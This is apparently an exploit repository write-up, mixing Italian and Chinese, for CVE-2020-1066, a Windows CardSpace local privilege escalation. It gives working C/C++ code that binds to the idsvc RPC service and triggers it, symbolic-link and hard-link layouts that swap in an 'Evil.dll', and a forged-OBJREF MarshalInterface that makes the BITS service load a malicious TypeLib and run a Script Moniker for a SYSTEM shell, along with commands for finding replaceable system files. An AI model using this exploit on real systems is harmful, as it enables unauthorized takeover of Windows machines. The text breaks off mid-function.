cbwang505/cve-2020-1066-expExploit di escalation dei privilegi locale per CVE-2020-1066 che mira a Windows 7 e Server 2008 R2. Sfrutta la sostituzione arbitraria di file tramite l'abuso di link simbolici del servizio Windows CardSpace (idsvc) per ottenere l'esecuzione di codice a livello di SYSTEM.
Questa vulnerabilità è una vulnerabilità di elevazione dei privilegi locali causata dalla sostituzione arbitraria di file dovuta alla gestione non corretta degli oggetti di collegamento simbolico da parte del servizio Windows CardSpace.
Il POC dell'autore è solo a scopo di ricerca; se i lettori utilizzano questo POC per altri comportamenti, l'autore non è responsabile.
[toc]
Applicabile agli utenti normali di Windows 7 e Windows Server 2008 R2 e agli utenti IIS con configurazioni speciali.
L'autore è il segnalatore della vulnerabilità, aggiornata a maggio 2020. La vulnerabilità proviene dal servizio Windows CardSpace (abbreviato idsvc) di Windows 7 e Windows Server 2008 R2. Questo servizio può essere avviato da qualsiasi utente, viene eseguito con privilegi di System e fornisce chiamate RPC pubbliche. Quando il servizio viene attivato dall'utente per spostare un file di configurazione specifico situato nella variabile d'ambiente %APPDATA% dell'utente corrente, non gestisce correttamente gli oggetti di collegamento simbolico, portando a una sostituzione arbitraria di file e a un'elevazione dei privilegi locali. Questa è la causa della vulnerabilità. Poiché si basa su chiamate RPC, è necessario prima ottenere l'interfaccia del servizio MIDL per poter scrivere codice locale per interagire con esso. L'autore consiglia di utilizzare RpcView, il metodo specifico può essere consultato nella serie di articoli sul reverse engineering delle vulnerabilità RPC. Prima, utilizzare il seguente metodo per ottenere i file dei simboli e configurare i simboli nello strumento; successivamente, si può decompilare il file IDL dell'interfaccia RPC. Il metodo specifico è il seguente:``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols
Attraverso lo strumento si ottengono 3 dati importanti: il tipo di protocollo RPC, il nome del protocollo e il file di definizione del client dell'interfaccia del protocollo (il file .c generato dalla compilazione del file IDL, vedere la casella di testo Decompilation a sinistra), in questo modo è possibile associare il servizio RPC con il seguente metodo.```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
通过反编译idsvc服务代码得到具体工程(见相关项目).idsvc服务绑定了全局RPC接口的全局处理程序RequestFactory.ProcessNewRequest,对于初次调用即parentRequestHandle为0的情况调用CreateClientRequestInstance类处理回调,后续操作由CreateUIAgentRequestInstance类处理``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
Il servizio idsvc riflette la classe corrispondente in base al nome della classe nel campo RpcRequest->Type per elaborare il callback; qui il poc utilizza la classe "ManageRequest".```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
触发ManageRequest实例的DoProcessRequest函数处理请求,省略中间步骤,最后调用StoreConnection.CreateDefaultDataSources()来到了利用点.
Durante l'interazione con il servizio, il servizio impersona l'utente (Impersonate Client) e recupera il profilo utente. Per impostazione predefinita, il profilo specificato si trova nella directory della variabile d'ambiente %APPDATA%. Per gli utenti IIS, in casi particolari, il profilo non viene caricato per impostazione predefinita; è necessario abilitare la seguente configurazione: fare clic su Pool di applicazioni -> Impostazioni avanzate.
```
//构造函数
protected StoreConnection(WindowsIdentity identity)
{ //这里的identity也就客户端身份 this.m_identity = new WindowsIdentity(identity.Token); //获取用户环境变量的%APPDATA% this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\CardSpace\"); this.m_localSource = this.m_path + "CardSpaceSP2.db"; } protected virtual void CreateDefaultDataSources(Hashtable list) { string str = this.m_path + "CardSpace.db"; //进入using块使用的idsvc服务身份,离开块后继续Impersonate Client using (new SystemIdentity(true)) { .... if (File.Exists(str)) { //替换文件,内部实现就是File.MoveTo等函数 this.AtomicFileCopy(str, this.m_localSource); } } ... protected void AtomicFileCopy(string source, string destination) { if (!File.Exists(source)) return; //加上.atomic后缀,移动文件 File.Copy(source, source + ".atomic", true); FileInfo fileInfo = new FileInfo(source + ".atomic"); if (fileInfo.Length == 0L) return; fileInfo.MoveTo(destination); }
Il servizio idsvc torna all'identità del servizio idsvc tramite `new SystemIdentity(true)` e chiama `AtomicFileCopy` per spostare il profilo utente. Nella configurazione predefinita, i file nella directory `%APPDATA%` sono completamente controllabili dall'utente corrente. Quando un processo con privilegi elevati esegue operazioni su file controllabili da un processo con privilegi inferiori (eliminazione, spostamento, copia, impostazione di attributi, ecc.), il processo con privilegi inferiori può sfruttare questo privilegio per eseguire altre operazioni. James Forshaw [@tiraniddo](https://twitter.com/tiraniddo) ci ha fornito una serie [di strumenti open source](https://github.com/googleprojectzero/symboliclink-testing-tools). Il suo lavoro pionieristico sul filesystem NTFS e sull'interno di Windows ha svolto tutto il lavoro pesante, implementando diverse tecniche e metodi di sfruttamento per abusare delle funzionalità del filesystem Windows e della risoluzione dei percorsi. Il filesystem NTFS consente di montare una directory controllata dall'utente su un'altra directory controllata dall'utente (Volume Mount Points e Junction Points) e consente anche di collegare un target a un altro tramite link simbolici (Symbolic Links, Reparse Points NTFS) e hard link (Hard Link) per collegare un file controllabile dall'utente a un altro file leggibile. Tutti questi metodi possono essere utilizzati da un utente malintenzionato per abusare delle operazioni sui file eseguite da un processo con privilegi elevati. Per lo sfruttamento nel PoC, è possibile creare i corrispondenti collegamenti simbolici per il file sorgente e il file di destinazione in due modi. Il primo metodo utilizza punti di montaggio e hard link, ed è applicabile solo a Win7. Gli hard link sono stati mitigati da Microsoft; per i dettagli, vedere [l'analisi](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08). Il secondo metodo può ancora essere sfruttato su Win10. Il principio è quello di creare un collegamento dalla directory oggetto scrivibile da qualsiasi utente `\RPC Control` alla directory specificata, quindi collegare il file nella directory `\RPC Control` al file specificato. Il metodo specifico è il seguente. Per informazioni sui collegamenti simbolici, fare riferimento alla [prima parte](https://www.4hou.com/posts/qV8D) e alla [seconda parte](https://www.4hou.com/posts/rE7B), che non verranno ripetute qui.```
第一种方式, 挂载点和硬链接
C:\workspace\mountpoint -> C:\Users\Username\AppData\Local\Microsoft\CardSpace
源文件(挂载点) = C:\workspace\mountpoint\CardSpace.db(Fake.dll) -> C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db
目标文件(硬链接) =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> C:\Evil.dll
第二种方式,符号链接至 \RPC Control
C:\Users\Username\AppData\Local\Microsoft\CardSpace -> \RPC Control
源文件 = C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db ->\RPC Control\CardSpace.db
目标文件 =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> \RPC Control\CardSpace.db.atomic
源文件 = \RPC Control\CardSpace.db ->C:\Fake.dll
目标文件 = \RPC Control\CardSpace.db.atomic -> C:\Evil.dll
Da Process Monitor si vede che il servizio idsvc, quando sposta i file, non utilizza l'operazione di impersonificazione (Impersonate) dell'utente e non verifica nemmeno la proprietà dei collegamenti simbolici, portando così a una vulnerabilità di escalation di privilegi tramite sostituzione arbitraria di file. Di seguito il codice chiave per lo sfruttamento della vulnerabilità.```
BOOL Exploit()
{
RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest));
req->Type = L"ManageRequest";
req->Length = 0;
req->Data = 0;
RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse));
UINT32* ctx = 0;
long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx);
printf("Proc0_RPCClientBindToService :%d\n", ret);
ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep);
printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret);
return 0;
}
##### Analisi dello sfruttamento della vulnerabilità #####
L'autore ha progettato un nuovo metodo di escalation dei privilegi basato sulla sostituzione arbitraria di file, il cui prototipo deriva da [CVE-2017-0213](https://www.exploit-db.com/exploits/42020/). Questo metodo è applicabile a tutti i sistemi operativi da Windows 7 a Windows 10, ma a condizione che il file da sostituire non sia controllato da TrustedInstaller, affinché la vulnerabilità possa essere attivata. Il motivo è che i permessi di TrustedInstaller sono superiori ad altri permessi; se si esegue direttamente l'operazione di sostituzione, anche operando con privilegi di Sistema si ottiene un rifiuto di accesso. Generalmente, solo i file con permessi di amministratore o di Sistema soddisfano queste condizioni. L'autore ha creato uno [strumento](https://gitee.com/cbwang505/TypeLibUnmarshaler) per cercare file sostituibili in una directory specificata, disponibile nell'elenco dei progetti correlati. È anche possibile utilizzare lo strumento accesschk di Microsoft [SysinternalsSuite](https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite). Il comando da eseguire è il seguente, l'ultimo parametro è il file della directory specificata.```
//[SysinternalsSuite]工具模式,最后一个参数为指定目录文件
accesschk.exe -s -w "nt authority\system" c:\windows\system32\*.dll
//笔者工具中的查找模式,参数为目标路径和后缀名
MyComEop.exe v [find path] [extension]
//深度查找模式,参数为目标路径和后缀名
MyComEop.exe d [find path] [extension]
Per i sistemi Windows 7 l'autore ha utilizzato gli strumenti sopra menzionati per trovare alcuni file TypeLib (libreria dei tipi) di sistema che possono essere sfruttati. Per i sistemi Windows 10 e versioni successive, è stato trovato anche un TypeLib di sistema scrivibile dall'utente System. Ancora meglio, per i sistemi con componenti COM registrati da software di terze parti, esistono generalmente file TypeLib simili che soddisfano i requisiti, quindi questo metodo di sfruttamento ha sicuramente valore.``` Windows7系统TypeLib位于: C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb Windows10等高版本系统TypeLib位于: C:\Windows\System32\SysFxUI.dll
Lo sfruttamento per Windows7 può essere direttamente dimostrato nel POC. Per versioni superiori come Windows10, è stato verificato nel mio altro [EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION). Se il test è solo a scopo dimostrativo, è possibile avviarlo con la seguente riga di comando. Poiché richiede la scrittura da parte dell'utente System, si consiglia di utilizzare strumenti come [Process Hacker](https://processhacker.sourceforge.io/) per passare dall'utente corrente all'utente System. L'effetto è mostrato nell'immagine sopra:```
MyComEop.exe u "{E6DB299B-B925-415A-879B-4A76D072F39A}" "IMyPageFactory" "{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}" "C:\Windows\System32\SysFxUI.dll" true
Se il lettore trova un TypeLib idoneo, può aprirlo con lo strumento OleView incluso nel Windows SDK, selezionare una qualsiasi Interface ed estrarre i 3 parametri IID_Interface, InterfaceName, TypeLib_GUID per sfruttare la modalità avanzata dello strumento di exploit. Qui l'autore utilizza un TypeLib predefinito del sistema Windows 7 per la dimostrazione.
Il principio dello sfruttamento della vulnerabilità deriva dal servizio Background Intelligent Transfer Service (abbreviato bits). Chiamando l'interfaccia IBackgroundCopyJob->SetNotifyInterface dell'API pubblica del servizio bits, è possibile passare qualsiasi oggetto COM remoto. Se questo oggetto eredita l'interfaccia IMarshal, il servizio bits personalizzerà la deserializzazione Unmarshal in base al CLSID passato nel metodo dell'interfaccia GetUnmarshalClass. Qui l'autore utilizza il metodo standard Unmarshal, cioè CStdMarshal::UnmarshalInterface, per attivare la deserializzazione, e i dati che causano la deserializzazione provengono dalla struttura OBJREF nel MarshalStream. Il formato di questa struttura è il seguente; per i dettagli, fare riferimento alla documentazione ufficiale Microsoft e al mio altro articolo.```
typedef LUID OXID;
typedef LUID OID;
typedef GUID IPID;
typedef struct tagDUALSTRINGARRAY {
unsigned short wNumEntries; // Number of entries in array.
unsigned short wSecurityOffset; // Offset of security info.
unsigned short aStringArray[];
} DUALSTRINGARRAY;
typedef struct tagSTDOBJREF {
DWORD flags;
DWORD cPublicRefs;
//对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符
OXID oxid;
//存根管理器的标识符
OID oid;
//接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识
IPID ipid;
} STDOBJREF;
typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } u_custom; } u_objref; } OBJREF;
这里flags为OBJREF_STANDARD(0x01),表示使用标准Unmarshal方式(CStdMarshal),对应的下方联合体的是STDOBJREF,至于其他flags类型均有自定义的unmarshal方式,不在本文的讨论范围,请读者自行研究.而最终导致实现漏洞利用的是其中的iid字段,通过逆向研究发现替换这个iid(也就是oleview中找到的接口IID_Interface)就可以触发bits服务加载这个iid对应com组件对象的TypeLib(类型库),也就是说任意TypeLib反序列化.最终替换TypeLib文件构造为嵌套的TypeLib结构就可以运行Script Moniker来GetShell.这里附上漏洞利用关键代码:```
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
IStorage* stg;
ILockBytes* lb;
CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
ULONG cbRead;
ULONG cbWrite;
IStreamPtr pStream = nullptr;
HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
LARGE_INTEGER dlibMove = { 0 };
ULARGE_INTEGER plibNewPosition;
hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);
OBJREF* headerObjRef = (OBJREF*)malloc(1000);
hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);
hr = pStream->Read(headerObjRef, 1000, &cbRead);
printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceFake).GetBSTR(), this);
//IID_InterfaceFake就是找到的接口IID_Interface
headerObjRef->iid = IID_InterfaceFake;
hr = pStm->Write(headerObjRef, cbRead, &cbWrite);
return hr;
}
Dai risultati del debug si può vedere che CStdMarshal::UnmarshalInterface alla fine chiama LoadTypeLibEx, passando come iid IID_InterfaceFake (da OBJREF). La seconda chiamata a LoadTypeLibEx carica Script Moniker. Ciò dimostra che è effettivamente possibile HOOKare un processo con privilegi elevati per deserializzare e caricare qualsiasi TypeLib.```
1: kd> bp OLEAUT32!GetTypeInfoOfIID
Breakpoint 0 hit
OLEAUT32!GetTypeInfoOfIID:
0033:000007fefebf0140 4533c0 xor r8d,r8d //继续调试.... 0: kd> p OLEAUT32!GetTypeInfoOfIIDFwd+0x19: 0033:000007fefebefd09 4889842480030000 mov qword ptr [rsp+380h],rax
0: kd> r
rax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c
rdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148
rip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=00000000033ae088 r12=00000000059f912c r13=0000000000000001
0: kd> dt _GUID @rcx
//查看这个参数
ole32!_GUID
{55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IID_InterfaceFake
//下这个断点
1: kd> bp OLEAUT32!LoadTypeLibEx
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fefeb6a550 fff3 push rbx //第一次加载的是目标TypeLib 1: kd> dc @rcx L50 0000000002c8e070 003a0043 0057005c 006e0069 006f0064 C.:..W.i.n.d.o.
0000000002c8e080 00730077 004d005c 00630069 006f0072 w.s.\.M.i.c.r.o. 0000000002c8e090 006f0073 00740066 004e002e 00540045 s.o.f.t...N.E.T.
0000000002c8e0a0 0046005c 00610072 0065006d 006f0077 \.F.r.a.m.e.w.o. 0000000002c8e0b0 006b0072 0076005c 002e0034 002e0030 r.k..v.4...0...
0000000002c8e0c0 00300033 00310033 005c0039 00790053 3.0.3.1.9.\.S.y. 0000000002c8e0d0 00740073 006d0065 0045002e 0074006e s.t.e.m...E.n.t.
0000000002c8e0e0 00720065 00720070 00730069 00530065 e.r.p.r.i.s.e.S. 0000000002c8e0f0 00720065 00690076 00650063 002e0073 e.r.v.i.c.e.s...
0000000002c8e110 059f92e0 00000000 02c8e180 00000000 ................
0: kd> kv
00 000000000391d828 000007fefebf00eb : 0000000000000ed8 0000000000000000 000000000391d9a0 000000000391d870 : OLEAUT32!LoadTypeLibEx
01 000000000391d830 000007fefebf0f4f : 000007feff6c71c0 000007feff661889 000000000371f310 0000000000000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb
02 000000000391dbe0 000007fefebf1149 : 0000000000284210 000000000371f310 0000000000284240 0000000000284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df
03 000000000391dc40 000007feff51e46a : 0000000000000000 0000000003715ea0 0000000000284210 0000000000284210 : OLEAUT32!CProxyWrapper::Connect+0x79
04 000000000391dc90 000007feff51e233 : 0000000000000000 0000000000284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2368]
05 00000000ff51e114 : 000000000391e618 0000000000000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2189]
06 00000000ff5211ec : 000000000391df68 000000009a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1734]
07 00000000ff5210b7 : 00000000059e7610 0000000000000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1618]
08 00000000ff52106c : 000000000391df50 00000000037daf90 : ole32!UnmarshalSwitch+0x2b [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1279]
09 00000000ff64a0c5 : 0000000000000000 0000000000000000 : ole32!UnmarshalObjRef+0xc0 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1406]
//使用的是标准反序列化模式
0a 00000000ff5232a6 : 00000000fee64366 00000000fedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1238]
0b 00000000ff523542 : 000007fe0391e340 0000000000000000 : ole32!CoUnmarshalInterface+0x19c [d:\w7rtm\com\ole32\com\dcomrem\coapi.cxx @ 957]
0c 00000000fedf523e : 000000000391e340 000007fe0029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:\w7rtm\com\rpc\ndrole\oleaux.cxx @ 1354]
0d 00000000fedff6cf : 000007fe0391e4f0 0000000000000000 : RPCRT4!IUnknown_AddRef_Proxy+0x19e
0e 00000000fede6e1c : 00000000fede78d7 000000000023e760 : RPCRT4!NdrPointerUnmarshall+0x2f
0f 00000000fede68e3 : 00000000faac1342 00000000faac1af0 : RPCRT4!NdrStubCall2+0x73c
10 00000000fede7967 : 00000000fb63a250 00000000fb63a250 : RPCRT4!NdrStubCall2+0x203
11 00000000ff660883 : 0000000000000000 0000000003715ff0 : RPCRT4!I_RpcGetBuffer+0xc7
12 00000000ff660ccd : 0000000000000000 000007fe00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
13 00000000ff660c43 : 000000000378a994 00000000ec046040 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
14 00000000ff51a4f0 : 00000000037daf90 000000000391ecd0 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
15 00000000ff6614d6 : 0000000000000010 0000000003715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
16 00000000ff66122b : 00000000037daf90 0000000003769be0 : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086]
17 00000000ff65fd6d : 00000000037daf90 0000000000070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
18 00000000fede50f4 : 000007fe00000000 00000000fedde8f7 : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751]
19 00000000fede4f56 : 000007fe00000001 00000000ff4f8ffc : RPCRT4!NdrServerCall2+0x1d84
1a 00000000fede775b : 0000000000000000 000000000378a970 : RPCRT4!NdrServerCall2+0x1be6
1b 00000000fede769b : 000000000391f0b0 00000000037241b0 : RPCRT4!I_RpcBindingInqTransportType+0x32b
1c 00000000fede7632 : 000000000378a970 00000000fede6140 : RPCRT4!I_RpcBindingInqTransportType+0x26b
1d 0000000000000000 : 0000000000000000 0000000000000000 : RPCRT4!I_RpcBindingInqTransportType+0x202
//第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fe02c8dd70 00630073 00690072 00740070 0043003a s.c.r.i.p.t.:.C.
0000000002c8dd90 005c0074 006b006f 0072005c 006e0075 t..o.k..r.u.n.
0000000002c8ddb0 037efc30 00000000 feb6733c 000007fe 0.~.....<s......
Il lato server del componente COM mantiene una lista di oggetti stub dell'interfaccia COM. Ogni oggetto stub mantiene un riferimento a un oggetto COM. Sotto la chiave di registro HKEY_CLASSES_ROOT/Interface, viene cercata la sottochiave iid corrispondente all'identificativo dell'interfaccia dell'oggetto COM, e il valore predefinito della sottochiave ProxyStubClsid32 è il CLSID di un oggetto stub. Quindi, COM chiama la funzione CoGetClassObject con questo CLSID per richiedere la factory del proxy, che tramite IPSFactoryBuffer->CreateStub crea un oggetto stub dell'interfaccia. Analogamente, il lato client del componente COM mantiene una lista di oggetti proxy. Durante l'Unmarshal di OBJREF, viene cercato l'oggetto stub corrispondente tramite [oxid, oid, ipid] e viene chiamato IPSFactoryBuffer->CreateProxy per creare il proxy corrispondente. Attraverso le dichiarazioni di funzione definite nel file IDL dell'interfaccia, viene costruito lo stack fisico, e quindi tramite il canale IRpcChannel implementato in RPCRT4.dll, vengono invocate le funzioni di interfaccia reali per comunicare con lo stub, realizzando così la chiamata di procedura remota (RPC) di COM.
La creazione del proxy tramite IPSFactoryBuffer->CreateProxy è incapsulata di default nella funzione CreateProxyFromTypeInfo. Il processo di chiamata di questa funzione è correlato a TypeInfo in TypeLib, perché TypeInfo definisce le informazioni sul tipo dell'interfaccia in TypeLib. Pertanto, in questo processo è inevitabile chiamare la funzione LoadTypeLib per caricare TypeLib e i relativi TypeInfo, e questo è il punto cruciale per l'attivazione della vulnerabilità. Attraverso l'analisi inversa del processo di chiamata di LoadTypeLib, si scopre che viene implementato operando sul registro di sistema. Per ogni informazione di interfaccia situata in HKEY_CLASSES_ROOT\Interface\[IID_interfaccia], la sottochiave TypeLib corrisponde al TypeLib_GUID dell'interfaccia. Successivamente, il TypeLib corrispondente si trova in HKEY_CLASSES_ROOT\TypeLib\\[TypeLib_GUID], dove il valore della sottochiave di versione corrisponde al percorso del TypeLib. Poiché un'interfaccia può avere più sottochiavi TypeLib di versioni diverse, durante la deserializzazione viene caricato solo uno di essi per impostazione predefinita. L'autore ha ricostruito l'implementazione in oleaut32.dll tramite reverse engineering e nel tool di exploit ha implementato la corrispondenza automatica del file TypeLib appropriato per lo sfruttamento. I risultati del reverse engineering sono i seguenti:```
wchar_t *__stdcall GetTypeInfoOfIIDFwd(GUID *rguid, struct ITypeInfo **a2, int a3)
{
wchar_t *result; // eax
unsigned __int16 versionLookUp; // bx
unsigned __int16 versionLookUpNext; // ax
DWORD v6; // ebx
LSTATUS i; // eax
HRESULT v8; // eax
wchar_t *v9; // ebx
HRESULT v10; // eax
int foundDotted; // [esp+8h] [ebp-31Ch]
GUID *v12; // [esp+Ch] [ebp-318h]
struct ITypeInfo **v13; // [esp+10h] [ebp-314h]
struct ITypeInfo *v14; // [esp+14h] [ebp-310h]
wchar_t *EndPtr; // [esp+18h] [ebp-30Ch]
LONG cbData; // [esp+1Ch] [ebp-308h]
ITypeLib *pptlib; // [esp+20h] [ebp-304h]
unsigned __int16 SubVersion[2]; // [esp+24h] [ebp-300h]
DWORD dwIndex; // [esp+28h] [ebp-2FCh]
unsigned __int16 Version[2]; // [esp+2Ch] [ebp-2F8h]
HKEY v21; // [esp+30h] [ebp-2F4h]
HKEY v22; // [esp+34h] [ebp-2F0h]
HKEY phkResult; // [esp+38h] [ebp-2ECh]
HKEY hKey; // [esp+3Ch] [ebp-2E8h]
CLSID pclsid; // [esp+40h] [ebp-2E4h]
WCHAR Data; // [esp+50h] [ebp-2D4h]
wchar_t Dst; // [esp+258h] [ebp-CCh]
unsigned __int16 tempData; // [esp+268h] [ebp-BCh]
OLECHAR sz; // [esp+26Ch] [ebp-B8h]
wchar_t SubKey; // [esp+2E8h] [ebp-3Ch]
WCHAR Name; // [esp+304h] [ebp-20h]
v12 = rguid;
v13 = a2;
if ( a3 >= 16 )
return (wchar_t *)-2147319779;
result = (wchar_t *)MapIIDToFusionTypeInfo(rguid, a2);
if ( (signed int)result < 0 )
return result;
if ( result != (wchar_t *)1 )
goto LABEL_57;
hKey = (HKEY)-1;
phkResult = (HKEY)-1;
v22 = (HKEY)-1;
v21 = (HKEY)-1;
pptlib = 0;
//先找Interface
wcscpy_s(&Dst, 0x47u, L"Interface\\");
StringFromGUID2(rguid, &sz, 39);
//如果存在Forward
wcscat_s(&Dst, 0x47u, L"\\Forward");
cbData = 520;
if ( QueryClassesRootValueW(&Dst, &Data, &cbData)
|| CLSIDFromString(&Data, &pclsid)
|| GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) )
{
*(_DWORD *)SubVersion = 0;
*(_DWORD *)Version = 0;
//找里面的TypeLib
wcscpy_s(&Dst, 0x47u, L"TypeLib\\");
result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted);
if ( (signed int)result >= 0 )
{
//打开ClassesRoot根节点
if ( OpenClassesRootKeyW(&Dst, &hKey) )
{
result = (wchar_t *)-2147319779;
}
else
{
SubKey = 0;
//查找子健,枚举版本号
for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex )
{
versionLookUp = _wcstoul(&Name, &EndPtr, 16);
if ( *EndPtr == '.' )
{
